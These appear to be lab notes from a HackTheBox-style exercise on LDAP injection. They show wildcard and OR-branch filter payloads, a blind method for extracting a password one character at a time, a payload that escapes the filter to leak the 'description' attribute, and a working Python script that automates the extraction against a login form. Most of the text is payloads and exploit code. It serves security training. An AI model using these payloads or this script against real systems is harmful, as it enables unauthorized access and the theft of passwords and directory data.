When LDAP results are rendered, wildcarding attributes can dump broad data. When nothing is rendered, use blind techniques (response-difference) similar to blind SQLi.
Given a filter like:
(&(uid=admin)(objectClass=account))
Inject wildcard to match all users:
(&(uid=*)(objectClass=account))
Or widen an OR branch:
(|(objectClass=organization)(objectClass=*)))
Assume login filter:
(&(uid=htb-stdnt)(password=p@ssw0rd))
- Identify positive vs negative responses (e.g., "Login successful ... down for security reasons" vs "Login failed!").
- Confirm injection:
password=*→ positive response.
Test first char using wildcard suffix:
(&(uid=htb-stdnt)(password=a*))
Loop over candidate chars until positive; fix the char and proceed to next position:
(&(uid=htb-stdnt)(password=p@*))
Repeat until the response stops flipping (full value found).
Leak attribute of a user by short-circuiting around the password check. Example payloads:
- Username:
htb-stdnt)(|(description=* - Password:
invalid)
Effective filter:
(&(uid=htb-stdnt)(|(description=*)(password=invalid)))
Now brute-force description one character at a time with prefix* tests (same approach as password).
import requests, string
URL = "http://STMIP:STMPO/index.php"
POSITIVE_STRING = "Login successful"
EXFILTRATE_USER = 'admin'
EXFILTRATE_ATTRIBUTE = 'description'
if __name__ == '__main__':
flag = ''
while True:
found_char = False
for c in string.printable:
username = f"{EXFILTRATE_USER})(|({EXFILTRATE_ATTRIBUTE}={flag}{c}*"
password = 'invalid)'
r = requests.post(URL, data={'username': username, 'password': password})
if POSITIVE_STRING in r.text:
flag += c
found_char = True
break
if not found_char:
print(flag)
break- Adjust
POSITIVE_STRINGto match the app's positive response phrase exactly. - Narrow
string.printableto speed up. - URL-encode when needed if the app rejects raw parenthesis.
Redact flags/secrets in notes; store sensitive outputs separately.